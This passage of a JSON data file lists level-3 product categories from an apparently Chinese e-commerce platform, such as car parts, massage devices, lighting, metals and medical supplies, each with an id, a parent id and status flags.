:true},{"id":21523,"name":"汽车清洗用品/清洗工具","parent_cid":34027,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21759,"name":"汽车养护品","parent_cid":34027,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34122,"name":"车身/车窗饰条/门槛条","parent_cid":21521,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34126,"name":"灯眉","parent_cid":21521,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28025,"name":"加装/装潢","parent_cid":21521,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34120,"name":"门腕贴","parent_cid":21521,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34124,"name":"汽车灯罩框","parent_cid":21521,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34130,"name":"汽车电动踏板","parent_cid":21521,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34125,"name":"汽车氛围灯/装饰灯","parent_cid":21521,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34129,"name":"汽车固定踏板","parent_cid":21521,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34128,"name":"气门芯/气门芯套","parent_cid":21521,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34127,"name":"刹车卡钳罩","parent_cid":21521,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34123,"name":"碳纤维件","parent_cid":21521,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28027,"name":"外饰改装套件","parent_cid":21521,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34119,"name":"装饰性轮眉","parent_cid":21521,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28030,"name":"其他汽车外饰品","parent_cid":21521,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28187,"name":"家用保健器材配件","parent_cid":21644,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28186,"name":"美发工具配件","parent_cid":21644,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28185,"name":"美体瘦身配件","parent_cid":21644,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28188,"name":"清洁美容工具配件","parent_cid":21644,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21646,"name":"便携洁身器","parent_cid":33905,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21650,"name":"电动搓澡仪/洗澡仪","parent_cid":33905,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34360,"name":"电动鞋刷","parent_cid":33905,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34361,"name":"电动修甲刀","parent_cid":33905,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21648,"name":"电动修脚器","parent_cid":33905,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33018,"name":"可视挖耳勺","parent_cid":33905,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21659,"name":"毛巾烘干消毒器","parent_cid":33905,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21614,"name":"泡沫机/洗手机","parent_cid":33905,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34362,"name":"人体干身机","parent_cid":33905,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21647,"name":"牙刷消毒器","parent_cid":33905,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34529,"name":"护腰带","parent_cid":21631,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34588,"name":"矫姿带","parent_cid":21631,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34530,"name":"矫姿坐垫","parent_cid":21631,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34532,"name":"腿形矫正器","parent_cid":21631,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28164,"name":"按摩披肩","parent_cid":34046,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34354,"name":"按摩枕","parent_cid":34046,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33901,"name":"发热围脖","parent_cid":34046,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34358,"name":"颈/肩部按摩器配件","parent_cid":34046,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34356,"name":"脉冲式颈部按摩器","parent_cid":34046,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34357,"name":"揉捏式颈部按摩器","parent_cid":34046,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34355,"name":"U型枕","parent_cid":34046,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34353,"name":"超声波洗牙器/洁牙仪","parent_cid":21645,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28192,"name":"电动牙刷","parent_cid":21645,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28195,"name":"电子美牙产品","parent_cid":21645,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28194,"name":"口腔护理配件","parent_cid":21645,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28191,"name":"水牙线/家用冲牙器","parent_cid":21645,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28190,"name":"牙刷头","parent_cid":21645,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28193,"name":"牙刷消毒盒","parent_cid":21645,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28196,"name":"其它口腔护理设备","parent_cid":21645,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21621,"name":"电吹风","parent_cid":34044,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34348,"name":"护发仪","parent_cid":34044,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21610,"name":"卷/直/烫发器","parent_cid":34044,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21618,"name":"理发器","parent_cid":34044,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21628,"name":"离子梳/电动梳/造型梳","parent_cid":34044,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21632,"name":"美发工具","parent_cid":34044,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21617,"name":"干身器","parent_cid":34043,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32422,"name":"美容/美发/美体","parent_cid":34043,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21615,"name":"美容/美体辅助工具","parent_cid":34043,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21653,"name":"皮肤测试仪器","parent_cid":34043,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21620,"name":"甩脂机","parent_cid":34043,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21649,"name":"鼻毛修剪器","parent_cid":33814,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21616,"name":"剃须刀/修须刀/修胡子造型器","parent_cid":33814,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34344,"name":"手腕/手指按摩器","parent_cid":34041,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34345,"name":"肘关节按摩器","parent_cid":34041,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34346,"name":"其他手部按摩器","parent_cid":34041,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34342,"name":"按摩头盔","parent_cid":21630,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28165,"name":"mini头部按摩器","parent_cid":21630,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28136,"name":"手部/手臂按摩器","parent_cid":21630,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34343,"name":"其他头部按摩器","parent_cid":21630,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34341,"name":"其他臀部按摩器","parent_cid":34040,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34575,"name":"加热护膝","parent_cid":34038,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34335,"name":"全腿按摩器","parent_cid":34038,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34334,"name":"小腿按摩器","parent_cid":34038,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28168,"name":"膝部按摩器","parent_cid":34038,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34574,"name":"膝盖按摩器","parent_cid":34038,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34336,"name":"其他膝/腿部按摩器","parent_cid":34038,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25054,"name":"护眼仪","parent_cid":34039,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28167,"name":"美眼仪","parent_cid":34039,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28163,"name":"按摩靠垫","parent_cid":34037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34572,"name":"按摩腰带","parent_cid":34037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21629,"name":"暖宫带","parent_cid":34037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34573,"name":"曲度腰椎器","parent_cid":34037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34332,"name":"揉腹仪","parent_cid":34037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34571,"name":"腰/背部按摩枕","parent_cid":34037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34333,"name":"其他腰/背部按摩器","parent_cid":34037,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28176,"name":"足底按摩器","parent_cid":34036,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28166,"name":"足疗机","parent_cid":34036,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28198,"name":"足浴器","parent_cid":34036,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34331,"name":"其他足部按摩器","parent_cid":34036,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34435,"name":"新风/电动口罩","parent_cid":21651,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28145,"name":"按摩棒/锤","parent_cid":34042,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33902,"name":"保暖护具","parent_cid":34042,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28010,"name":"车载电动头枕","parent_cid":34042,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28011,"name":"车载电动腰靠","parent_cid":34042,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28204,"name":"电热敷盐包","parent_cid":34042,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28133,"name":"MINI按摩器/按摩贴","parent_cid":34042,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34347,"name":"全身按摩垫","parent_cid":34042,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28200,"name":"桑拿房","parent_cid":34042,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28175,"name":"其它按摩器材","parent_cid":34042,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34254,"name":"备胎罩","parent_cid":21755,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34251,"name":"备用油箱","parent_cid":21755,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34249,"name":"车轮锁/车位锁","parent_cid":21755,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34257,"name":"车用天线","parent_cid":21755,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34250,"name":"大视野后视辅助镜","parent_cid":21755,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34252,"name":"电瓶搭火线","parent_cid":21755,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34256,"name":"后备箱弹簧助力器","parent_cid":21755,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34255,"name":"警示牌","parent_cid":21755,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34260,"name":"拉货灯/代驾灯类","parent_cid":21755,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34253,"name":"轮毂盖","parent_cid":21755,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34259,"name":"门锁盖","parent_cid":21755,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34258,"name":"油箱盖","parent_cid":21755,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34275,"name":"乘用车轮胎","parent_cid":21739,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34276,"name":"非乘用车轮胎","parent_cid":21739,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34245,"name":"机油滤芯","parent_cid":21738,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34246,"name":"空调滤芯","parent_cid":21738,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34247,"name":"空气滤芯","parent_cid":21738,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34248,"name":"汽油滤芯","parent_cid":21738,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28475,"name":"汽车美容护理工具","parent_cid":21740,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28474,"name":"汽车维修保养工具","parent_cid":21740,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34269,"name":"方向盘","parent_cid":21745,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34268,"name":"扶手箱","parent_cid":21745,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34270,"name":"隔音隔热棉","parent_cid":21745,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34273,"name":"空调旋钮","parent_cid":21745,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34272,"name":"排挡杆","parent_cid":21745,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34271,"name":"座椅及附件","parent_cid":21745,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34236,"name":"保险杠","parent_cid":21741,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34238,"name":"车底防护板/发动机挡板","parent_cid":21741,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34237,"name":"车顶架/车顶箱","parent_cid":21741,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34243,"name":"车门拉手","parent_cid":21741,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34242,"name":"挡泥板","parent_cid":21741,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34241,"name":"倒车镜/后视镜","parent_cid":21741,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34235,"name":"轮毂","parent_cid":21741,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34234,"name":"汽车包围","parent_cid":21741,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34244,"name":"拖车钩","parent_cid":21741,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34240,"name":"尾翼/顶翼","parent_cid":21741,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34233,"name":"越野车外侧脚踏板","parent_cid":21741,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34239,"name":"中网","parent_cid":21741,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28469,"name":"分动箱油","parent_cid":21737,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28473,"name":"汽车发动机机油","parent_cid":21737,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28468,"name":"刹车油","parent_cid":21737,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28472,"name":"手动变速箱油/齿轮油","parent_cid":21737,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28470,"name":"转向助力油","parent_cid":21737,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28471,"name":"自动变速箱油","parent_cid":21737,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34231,"name":"车内灯","parent_cid":21753,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34226,"name":"大灯总成","parent_cid":21753,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34230,"name":"防追尾灯","parent_cid":21753,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34228,"name":"HID氙气灯","parent_cid":21753,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34227,"name":"汽车车灯透镜","parent_cid":21753,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34225,"name":"汽车灯泡","parent_cid":21753,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34229,"name":"尾灯总成","parent_cid":21753,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34232,"name":"越野射灯","parent_cid":21753,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34264,"name":"刹车泵(ABS)","parent_cid":21747,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34263,"name":"刹车卡钳","parent_cid":21747,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34262,"name":"刹车盘","parent_cid":21747,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34261,"name":"刹车片","parent_cid":21747,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34265,"name":"刹车油管","parent_cid":21747,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34266,"name":"真空助力器","parent_cid":21747,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34267,"name":"制动器总成","parent_cid":21747,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28735,"name":"壁灯","parent_cid":22108,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28766,"name":"成套灯具","parent_cid":22108,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28758,"name":"橱柜灯","parent_cid":22108,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28768,"name":"道路灯具","parent_cid":22108,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28767,"name":"灯具配件","parent_cid":22108,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28734,"name":"吊灯","parent_cid":22108,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28825,"name":"氛围装饰灯","parent_cid":22108,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28756,"name":"感应灯","parent_cid":22108,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28747,"name":"格栅/面板灯","parent_cid":22108,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28765,"name":"工矿灯具","parent_cid":22108,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28817,"name":"功能性灯具","parent_cid":22108,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":28827,"name":"景观庭院灯饰","parent_cid":22108,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28760,"name":"镜前灯","parent_cid":22108,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28759,"name":"落地灯","parent_cid":22108,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28736,"name":"射灯","parent_cid":22108,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28764,"name":"室外灯饰","parent_cid":22108,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":32166,"name":"手电筒","parent_cid":22108,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":28733,"name":"台灯","parent_cid":22108,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28737,"name":"筒灯","parent_cid":22108,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":32167,"name":"头灯","parent_cid":22108,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28754,"name":"小夜灯","parent_cid":22108,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28753,"name":"吸顶灯","parent_cid":22108,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28755,"name":"应急灯","parent_cid":22108,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28757,"name":"支架灯","parent_cid":22108,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28826,"name":"其它灯具灯饰","parent_cid":22108,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28632,"name":"白炽灯","parent_cid":22096,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28630,"name":"LED光源","parent_cid":22096,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28631,"name":"卤钨灯","parent_cid":22096,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28633,"name":"荧光灯","parent_cid":22096,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28634,"name":"其它光源","parent_cid":22096,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28923,"name":"扁钢","parent_cid":22151,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28924,"name":"槽钢","parent_cid":22151,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28926,"name":"钢板","parent_cid":22151,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28927,"name":"钢管","parent_cid":22151,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28925,"name":"角钢","parent_cid":22151,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28934,"name":"螺纹钢","parent_cid":22151,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28937,"name":"模具钢/工具钢/特钢","parent_cid":22151,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28922,"name":"圆钢","parent_cid":22151,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28935,"name":"铝百叶","parent_cid":22153,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28929,"name":"铝板/铝扣板/铝吊顶/铝方通","parent_cid":22153,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28928,"name":"铝材/铝型材/铝合金","parent_cid":22153,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28940,"name":"其他铝制品","parent_cid":22153,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":32649,"name":"拐杖","parent_cid":34013,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32650,"name":"护理床","parent_cid":34013,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34015,"name":"轮椅","parent_cid":34013,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32652,"name":"养生器械","parent_cid":34013,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34378,"name":"医用护目镜","parent_cid":32656,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34376,"name":"检测试纸","parent_cid":33816,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32643,"name":"胎心监测用品","parent_cid":33816,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34359,"name":"听诊器","parent_cid":33816,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21237,"name":"体温计类","parent_cid":33816,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33148,"name":"血压计","parent_cid":33816,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34439,"name":"创口贴","parent_cid":32654,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34438,"name":"棉签棉球棉片(器械)","parent_cid":32654,"level":3,"